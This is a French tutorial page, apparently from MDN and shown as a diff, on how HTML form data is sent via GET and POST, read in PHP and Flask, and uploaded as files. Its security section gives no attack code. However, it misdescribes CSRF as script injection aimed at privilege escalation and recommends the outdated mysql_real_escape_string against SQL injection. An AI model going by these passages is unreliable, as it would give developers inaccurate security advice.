+   <td>Notions concernant les ordinateurs, <a class="new" href="https://developer.mozilla.org/fr/docs/Learn/HTML/Introduction_to_HTML" rel="nofollow">compréhension du HTML</a>, et<a class="new" href="https://developer.mozilla.org/fr/docs/Learn/HTML/Introduction_to_HTML" rel="nofollow"> </a>connaissances de base de <a class="new" href="https://developer.mozilla.org/fr/docs/Web/HTTP/Basics_of_HTTP" rel="nofollow">HTTP </a>et <a class="new" href="https://developer.mozilla.org/fr/docs/Learn/Server-side/First_steps" rel="nofollow">programmation côté serveur.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objectif :</th>
+   <td>Comprendre ce qui arrive quand les données d'un formulaire sont soumises, y compris les notions de la façon dont les données sont traitées sur le serveur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Où_vont_les_données">Où vont les données ?</h2>
+
+<p>Dans ce paragraphe, nous expliquons ce qui arrive aux données lors de la soumission d'un formulaire.</p>
+
+<h3 id="A_propos_de_l'architecture_client_serveur">A propos de l'architecture client / serveur</h3>
+
+<p>Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme <a href="http://httpd.apache.org/" rel="external" title="http://www.apache.org/">Apache</a>, <a href="http://nginx.com/" rel="external" title="http://nginx.com/">Nginx</a>, <a href="http://www.iis.net/" rel="external" title="http://www.iis.net/">IIS</a>, <a href="http://tomcat.apache.org/" rel="external" title="http://tomcat.apache.org/">Tomcat</a>...), en utilisant le <a href="/fr/docs/HTTP">protocole HTTP</a>. Le serveur répond à la requête en utilisant le même protocole.</p>
+
+<p><img alt="Un schéma élémentaire d'architecture client/serveur sur le Web " src="https://mdn.mozillademos.org/files/16000/client-serveur.png" style="height: 141px; width: 400px;"></p>
+
+<p>Côté client, un formulaire HTML n'est rien d'autre qu'un moyen commode et convivial de configurer une requête HTTP pour envoyer des données à un serveur. L'utilisateur peut ainsi adresser des informations à joindre à la requête HTTP.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">Programmation d'un site web côté‑serveur : premiers pas</a>.</p>
+</div>
+
+<h3 id="Côté_client_définition_de_la_méthode_d'envoi_des_données">Côté client : définition de la méthode d'envoi des données</h3>
+
+<p>L'élément  {{HTMLElement("form")}} définit la méthode d'envoi des données. Tous ses attributs sont conçus pour vous permettre de configurer la requête à envoyer quand un utilisateur presse le bouton d'envoi. Les deux attributs les plus importants sont {{htmlattrxref("action","form")}} et {{htmlattrxref("method","form")}}.</p>
+
+<h4 id="L'attribut_htmlattrxref(actionform)">L'attribut {{htmlattrxref("action","form")}}</h4>
+
+<p>Cet attribut définit où les données sont envoyées. Sa valeur doit être une URL valide. S'il n'est pas fourni, les données seront envoyées à l'URL de la page contenant le formulaire.</p>
+
+<p>Dans cet exemple, les données sont envoyées à une URL précise — http://foo.com :</p>
+
+<pre class="brush: html">&lt;form action="http://foo.com"&gt;</pre>
+
+<p class="brush: html">Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur :</p>
+
+<pre class="brush: html">&lt;form action="/somewhere_else"&gt;</pre>
+
+<p class="brush: html">Sans attribut, comme ci-dessous, les données de {{HTMLElement("form")}} sont envoyées à la même page que celle du formulaire  :</p>
+
+<pre class="brush: html">&lt;form&gt;</pre>
+
+<p class="brush: html">De nombreuses pages anciennes utilisent la notation suivante pour indiquer que les données doivent être envoyées à la page qui contient le formulaire. C'était nécessaire car jusqu'à HTML5, l'attribut {{htmlattrxref("action", "form")}} était requis. Il n'y en a donc plus besoin.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Il est possible de spécifier une URL qui utilise le protocole HTTPS (HTTP sécurisé). Quand vous faites ceci, les données sont chiffrées avec le reste de la requête, même si le formulaire lui-même est hébergé dans une page non sécurisée à laquelle on accède via HTTP. D'autre part, si le formulaire est hébergé sur une page sécurisée mais qu'on spécifique une URL non sécurisée avec l'attribut {{htmlattrxref("action","form")}}, tous les navigateurs affichent une alerte de sécurité pour l'utilisateur chaque fois qu'il envoie des données car celles-ci ne sont pas chiffrées.</p>
+</div>
+
+<h4 id="L'attribut_htmlattrxref(methodform)">L'attribut {{htmlattrxref("method","form")}}</h4>
+
+<p>Cet attribut définit comment les données sont envoyées. Le <a href="/fr/docs/HTTP">Protocole HTTP </a>fournit plusieurs façons d'envoyer une requête. Les données des formulaires HTML peuvent être envoyées via au moins deux méthodes : la méthode <code>GET</code> et la méthode <code>POST</code>.</p>
+
+<p>Pour bien comprendre la différence entre ces deux méthodes, il convient d'examiner comment le protocole HTTP marche. Chaque fois qu'on veut atteindre une ressource sur Internet, le navigateur envoie une requête à une URL. Une requête HTTP consiste en deux parties : un en-tête (header) qui contient les métadonnées sur les capacités du navigateur, et un corps (body) qui contient les informations nécessaires au serveur pour effectuer la requête.</p>
+
+<h5 id="La_méthode_GET">La méthode GET</h5>
+
+<p>La méthode <code>GET</code> est utilisée par le navigateur pour demander au serveur de renvoyer une certaine ressource. "Hé le serveur, je veux cette ressource." Dans ce cas, le navigateur envoie un corps vide. Du coup, si un formulaire est envoyé avec cette méthode, les données envoyées au serveur sont ajoutées à l'URL.</p>
+
+<p>Considérons le formulaire suivant :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html">&lt;form action="http://foo.com" method="get"&gt;
+  &lt;div&gt;
+    &lt;label for="say"&gt;Quel salut voulez-vous adresser ?&lt;/label&gt;
+    &lt;input name="say" id="say" value="Hi"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="to"&gt;À qui voulez‑vous l'adresser ?&lt;/label&gt;
+    &lt;input name="to" value="Mom"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Send my greetings&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</code></pre>
+
+<p>Comme nous avons utilisé la méthode <code>GET</code>, vous verrez l'URL <code>www.foo.com/?say=Hi&amp;to=Mom</code> apparaître dans la barre du navigateur quand vous soumettez le formulaire.</p>
+
+<p><img alt="Message d'erreur: le serveur est introuvable" src="https://mdn.mozillademos.org/files/16002/fr-introuvable.png" style="display: block; height: 575px; margin: 0px auto; width: 748px;"></p>
+
+<p>Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&amp;). Dans ce cas, nous passons deux éléments de données au serveur :</p>
+
+<ul>
+ <li><code>say</code>, dont la valeur est  <code>Hi</code></li>
+ <li><code>to</code>, qui a la valeur <code>Mom</code></li>
+</ul>
+
+<p>La requête HTTP ressemble à quelque chose comme :</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">GET /?say=Hi&amp;to=Mom HTTP/1.1
+Host: foo.com</code></pre>
+
+<div class="note">
+<p><strong>Note </strong>: Vous trouverez cet exemple sur GitHub — voyez <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/get-method.html">get-method.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">directement aussi</a>).</p>
+</div>
+
+<h5 id="La_méthode_POST">La méthode POST</h5>
+
+<p>La méthode <code>POST</code> est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP.</p>
+
+<p>Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour GET ci‑dessus, mais avec <code>post</code> comme valeur de l'attribut  {{htmlattrxref("method","form")}}.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">action</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://foo.com<span class="punctuation token">"</span></span> <span class="attr-name token">method</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>post<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>say<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Quel salut voulez‑vous adresser ?<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>say<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>say<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Hi<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>to<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>À qui voulez‑vous l'adresser ?<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>to<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Mom<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span><span class="punctuation token">&gt;</span></span>Send my greetings<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Quand le formulaire est soumis avec la méthode <code>POST</code>, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête :</p>
+
+<pre>POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>L'en-tête <code>Content-Length </code>indique la taille du corps, et l'en-tête <code>Content-Type</code> indique le type de ressources envoyées au serveur. Nous discuterons de ces en-têtes dans un moment.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Vous trouverez cet exemple sur GitHub — voyez <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/post-method.html">post-method.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">directement aussi</a>).</p>
+</div>
+
+<h4 id="Voir_les_requêtes_HTTP">Voir les requêtes HTTP</h4>
+
+<p>Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Console Web</a> de Firefox ou les <a href="https://developers.google.com/chrome-developer-tools/" title="https://developers.google.com/chrome-developer-tools/">Chrome Developer Tools</a>). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network.  Après avoir soumis le formulaire :</p>
+
+<ol>
+ <li>Pressez F12</li>
+ <li>Selectionnez « Réseau »</li>
+ <li>Selectionnez « Tout »</li>
+ <li>Selectionnez « foo.com » dans l'onglet « Nom »</li>
+ <li>Selectionnez « En‑tête »</li>
+</ol>
+
+<p>Vous obtiendrez les données du formulaire, comme l'image suivante le montre.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14691/network-monitor.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête <code>GET</code> l'utilisateur verra les données dans la barre de l'URL, mais avec une requête <code>POST</code> il ne verra rien. Cela peut être important pour deux raisons :</p>
+
+<ol>
+ <li>
+  <p>Si vous avez besoin d'envoyer un mot de passe (ou toute autre donnée sensible), n'utilisez jamais la méthode GET ou vous risquez de l'afficher dans la barre d'URL, ce qui serait très peu sûr.</p>
+ </li>
+ <li>
+  <p>Si vous avez besoin d'envoyer une grande quantité de données, la méthode POST est préférable car certains navigateurs limitent la taille des URLs. De plus, de nombreux serveurs limitent la longueur des URL qu'ils acceptent.</p>
+ </li>
+</ol>
+
+<h3 id="Côté_serveur_récupérer_les_données">Côté serveur : récupérer les données</h3>
+
+<p>Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente.</p>
+
+<h4 id="Exemple_PHP_brut">Exemple : PHP brut</h4>
+
+<p>Le PHP met à disposition des objets globaux pour accéder aux données. En supposant que vous avez utilisé la méthode <code>POST</code>, l'exemple suivant récupère les données et les affiche à l'utilisateur. Bien sûr, ce que vous en faites dépend de vous. Vous pouvez les afficher, les ranger dans une base de données, les envoyer par mail ou les traiter autrement.</p>
+
+<pre class="brush: php">&lt;?php
+  // La variable globale $_POST vous donne accès aux données envoyées avec la méthode POST par leur nom
+  // Pour avoir accès aux données envoyées avec la méthode GET, utilisez $_GET
+  $say = htmlspecialchars($_POST['say']);
+  $to  = htmlspecialchars($_POST['to']);
+
+  echo  $say, ' ', $to;</pre>
+
+<p>Cet exemple affiche une page avec les données envoyées. Vous pouvez voir ceci opérer avec notre fichier exemple <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.html">php-example.html</a> — il contient le même formulaire exemple que celui vu précédemment avec la méthode <code>post</code> avec <code>php-example.php</code> en action. À la soumission du formulaire, il envoie les données de ce dernier à <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.php">php-example.php</a>, contenant le code ci‑dessus. Quand le code est exécuté, la sortie dans le navigateur est <code>Bonjour, M'an</code>.<img alt="L'exécution du code PHP déclenche l'affichage de Bonjour, M'an" src="https://mdn.mozillademos.org/files/16008/bonjour_man.png" style="display: block; height: 191px; margin: 0px auto; width: 474px;"></p>
+
+<div class="note">
+<p><strong>Note </strong>: Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont <a href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac et Windows) et <a href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux).</p>
+</div>
+
+<h4 id="Exemple_Python">Exemple: Python</h4>
+
+<p>Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise <a href="http://flask.pocoo.org/">Flask framework</a> pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py">python-example.py</a>).</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">from flask import Flask, render_template, request
+app = Flask(__name__)
+
+@app.route('/', methods=['GET', 'POST'])
+def form():
+    return render_template('form.html')
+
+@app.route('/hello', methods=['GET', 'POST'])
+def hello():
+    return render_template('greeting.html', say=request.form['say'], to=request.form['to'])
+
+if __name__ == "__main__":
+    app.run()</code></pre>
+
+<p>Les deux prototypes  référencés dans le code ci‑dessus sont les suivants :</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html">form.html </a>: Le même formulaire que celui vu plus haut dans la section {{anch("La méthode POST")}} mais avec l'attribut <code>action</code> défini à la valeur <code>\{{url_for('hello')}}</code>. (C'est un modèle <a href="http://jinja.pocoo.org/docs/2.9/">Jinja2</a>, qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. <code>url_for('hello')</code> dit en gros  « à rediriger sur <code>/hello</code> quand le formulaire est soumis ».)</li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html">greeting.html</a> : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction <code>hello()</code> vue plus haut qui s'exécute quand l'URL <code>/hello</code> est chargée dans le navigateur.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note </strong>: À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">installer Python/PIP</a>, puis Flask avec « <code>pip3 install flask</code> ». À ce moment‑là vous pourrez exécuter l'exemple avec « <code>python3 python-example.py</code> », puis en allant sur « <code>localhost:5000</code> » dans votre navigateur.</p>
+</div>
+
+<h4 id="Autres_langages_et_canevas_de_structures">Autres langages et canevas de structures</h4>
+
+<p>Il y a de nombreuses autres techniques côté serveur utilisables pour gérer des formulaires, comme <a href="/fr/docs/" title="/en-US/docs/">Perl</a>, <a href="/fr/docs/" title="/en-US/docs/">Java</a>, <a href="http://www.microsoft.com/net" title="http://www.microsoft.com/net">.Net</a>, <a href="/fr/docs/" title="/en-US/docs/">Ruby</a>... retenez juste votre préférée. Cela dit, il faut noter qu'il n'est pas très courant d'utiliser ces techniques directement car cela peut être délicat. Il est plus fréquent d'utiliser l'un des jolis canevas qui permettent de gérer des formulaires plus facilement, comme :</p>
+
+<ul>
+ <li><a href="http://symfony.com/" rel="external" title="http://symfony.com/">Symfony</a> pour PHP</li>
+ <li><a href="https://www.djangoproject.com/" rel="external" title="https://www.djangoproject.com/">Django</a> pour Python</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs">Express</a> pour Node.js</li>
+ <li><a href="http://rubyonrails.org/" rel="external" title="http://rubyonrails.org/">Ruby On Rails</a> pour Ruby</li>
+ <li><a href="http://grails.org/" rel="external" title="http://grails.org/">Grails</a> pour Java</li>
+ <li>etc.</li>
+</ul>
+
+<p>Enfin il faut noter que même en utilisant ces canevas, travailler avec des formulaires n'est pas toujours <em>facile</em>. Mais c'est quand même bien plus facile que d'essayer d'en écrire vous‑même les fonctionnalités et cela vous économisera pas mal de temps.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Nous déborderions du cadre de cet article en vous initiant aux langages côté serveur ou aux canevas. Les liens ci‑dessus vous donneront des informations si vous souhaitez en apprendre plus.</p>
+</div>
+
+<h2 id="Cas_particulier_envoyer_des_fichiers">Cas particulier : envoyer des fichiers</h2>
+
+<p>L'envoi de fichiers avec une formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires.</p>
+
+<h3 id="L'attribut_htmlattrxref(enctypeform)">L'attribut {{htmlattrxref("enctype","form")}}</h3>
+
+<p>Cet attribut vous permet de préciser la valeur de l'en-tête HTTP <code>Content-Type</code> incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important car il indique au serveur le type de données envoyées. Par défaut, sa valeur est <code>application/x-www-form-urlencoded</code>. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ».</p>
+
+<p>Mais si vous voulez envoyer des fichiers, il faut faire deux choses en plus :</p>
+
+<ul>
+ <li>régler l'attribut {{htmlattrxref("method","form")}} à <code>POST</code> car un contenu de fichier ne peut pas être mis dans des paramètres d'URL.</li>
+ <li>régler la valeur de {{htmlattrxref("enctype","form")}} <code>à multipart/form-data</code> car les données seront coupées en plusieurs parties, une pour chaque fichier plus une pour les données dans le corps du formulaire (si du texte a aussi été entré dans le formulaire).</li>
+ <li>incorporer un ou plusieurs widgets de <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/The_native_form_widgets#File_picker">sélection de fichiers</a> pour permettre aux utilisateurs de choisir les fichiers à téléverser.</li>
+</ul>
+
+<p> Par exemple :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">method</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>post<span class="punctuation token">"</span></span> <span class="attr-name token">enctype</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>multipart/form-data<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Choose a file<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myFile<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span><span class="punctuation token">&gt;</span></span>Send the file<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<p><strong>Note :</strong> Certains navigateurs prennent en charge l'attribut {{htmlattrxref("multiple","input")}} de l'élément {{HTMLElement("input")}}pour envoyer plus d'un fichier avec seulement un élément d'entrée. La façon dont le serveur gère ces fichiers dépend de la technologie du serveur. Comme évoqué précédemment, utiliser un modèle rendra les choses plus faciles.</p>
+</div>
+
+<div class="warning">
+<p><strong>Attention :</strong> De nombreux serveurs sont configurés avec une limite de taille pour les fichiers et les requêtes HTTP pour éviter les abus. Il est important de vérifier cette limite avec l'administrateur du serveur avant d'envoyer un fichier.</p>
+</div>
+
+<h2 id="Problèmes_courants_de_sécurité">Problèmes courants de sécurité</h2>
+
+<p>Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données.</p>
+
+<p>Selon ce que vous faites, il y a quelques problèmes de sécurité bien connus que vous pouvez aisément contrer :</p>
+
+<h3 id="XSS_et_CSRF">XSS et CSRF</h3>
+
+<p>Les attaques Cross-Site Scripting (XSS) et Cross-Site Request Forgery (CSRF) sont des attaques fréquentes qui surviennent quand vous affichez des données renvoyées par un utilisateur à celui-ci ou à un autre utilisateur. </p>
+
+<p>XSS permet aux attaquants d'injecter des scripts  côté‑client dans les pages Web vues par d'autres utilisateurs. La vulnérabilité au XSS peut être utilisée par les attaquants pour contourner les contrôles d'accès comme la<a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" title="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript"> </a><span class="st"><a href="/fr/docs/JavaScript/Same_origin_policy_for_JavaScript">same-origin policy</a> (ou politique de même origine)</span>. Les effets de ces attaques peuvent aller d'une nuisance mineure à un risque significatif de sécurité.</p>
+
+<p>Les attaques CSRF sont similaires aux attaques XSS en ce qu'elles commencent de la même façon — en injectant des scripts côté‑client sur des pages Web — mais leur cible est différente. Les attaquants CSRF essaient d'accroître leurs privilèges pour atteindre ceux d'un utilisateur privilégié (par exemple l'administrateur du site) pour effectuer une action qu'ils ne devraient pas pouvoir faire (par exemple, envoyer des données à un utilisateur non habilité).</p>
+
+<p>Les attaques XSS exploitent la confiance qu'un utilisateur a pour un site, alors que les attaques  CSRF exploitent la confiance qu'un site a pour ses utilisateurs.</p>
+
+<p>Pour éviter ces attaques, vous devez toujours vérifier les données qu'un utilisateur envoie à votre serveur et (si vous avez besoin de les afficher) essayez de ne pas afficher le contenu HTML tel que fourni par l'utilisateur. A la place, vous devez traiter les données fournies par l'utilisateur afin de ne pas les afficher verbatim. La quasi totalité des modèles du marché implémentent un filtre minimum qui enlève les éléments <span style="line-height: 1.5;">{{HTMLElement("script")}}, {{HTMLElement("iframe")}} et {{HTMLElement("object")}} des données envoyées par les utilisateurs. Cela permet d'atténuer les risques sans toutefois les éradiquer.</span></p>
+
+<h3 id="Injection_SQL">Injection SQL</h3>
+
+<p>L'injection SQL est un type d'attaque qui essaie d'effectuer certaines actions sur les bases de données utilisées par le site web cible. Cela consiste d'ordinaire à envoyer une requête SQL en espérant que le serveur l'exécutera (généralement quand le serveur essaie de ranger les informations envoyées par un utilisateur). C'est assurément l'un des <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" rel="external" title="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">vecteurs d'attaque les plus fréquents contre les sites web</a>.</p>
+
+<p>Les conséquences peuvent être terribles, de la perte de données à l'accès à l'infrastructure en utilisant l'augmentation des privilèges. C'est une menace sérieuse et vous ne devez jamais ranger des données envoyées par un utilisateur sans asepsie préalable (par exemple en utilisant <code><a href="http://www.php.net/manual/en/function.mysql-real-escape-string.php" rel="external" title="http://www.php.net/manual/en/function.mysql-real-escape-string.php">mysql_real_escape_string()</a></code> sur une infrastructure PHP/MySQL).</p>
+
+<h3 id="Injection_d'en-tête_HTTP_et_injection_d'email">Injection d'en-tête HTTP et injection d'email</h3>
+
+<p>Ces attaques peuvent arrivent quand votre application construit des en-têtes HTTP ou des emails basés sur les données entrées par un utilisateur sur un formulaire. Elles ne vont pas directement endommager votre serveur ou affecter vos utilisateurs mais elles sont la porte ouverte à des problèmes plus graves comme le piratage de session ou les attaques par hameçonnage (phishing).</p>
+
+<p>Ces attaques sont généralement silencieuses et peuvent transformer votre serveur en <a href="http://en.wikipedia.org/wiki/Zombie_(computer_science)" rel="exernal" title="http://en.wikipedia.org/wiki/Zombie_(computer_science)">zombie</a>.</p>
+
+<h3 id="Soyez_paranoïaque_ne_faites_jamais_confiances_à_vos_utilisateurs">Soyez paranoïaque : ne faites jamais confiances à vos utilisateurs</h3>
+
+<p>Alors, comment combattre ces menaces ? Ce sujet va bien au-delà de ce guide mais il y a quelques règles à garder en tête. La principale est de ne jamais faire confiance à ses utilisateurs, vous-même compris : même un utilisateur de confiance peut s'être fait pirater.</p>
+
+<p>Toute donnée qui va dans un serveur doit être vérifiée et nettoyée. Toujours. Sans exception.</p>
+
+<ul>
+ <li>Échappez les caractères putativement dangereux. <span id="result_box" lang="fr"><span>Les caractères spécifiques avec lesquels vous devez être prudent varient selon le contexte dans lequel les données sont utilisées et de la plate-forme serveur que vous utilisez, mais tous les languages côté serveur ont des fonctions pour cela.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Limitez le volume des données entrantes pour n'autoriser que ce qui est nécessaire.</span></span></li>
+ <li><span id="result_box" lang="fr"><span>Faites passer par le bac à sable les fichiers téléversés  (stockez‑les sur un serveur différent et n'autorisez l'accès au fichier que dans un sous-domaine différent, ou mieux, par un nom de domaine complètement différent).</span></span></li>
+</ul>
+
+<p>Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, avoir anticipé tous les problèmes de sécurité !</p>
+
+<div class="note">
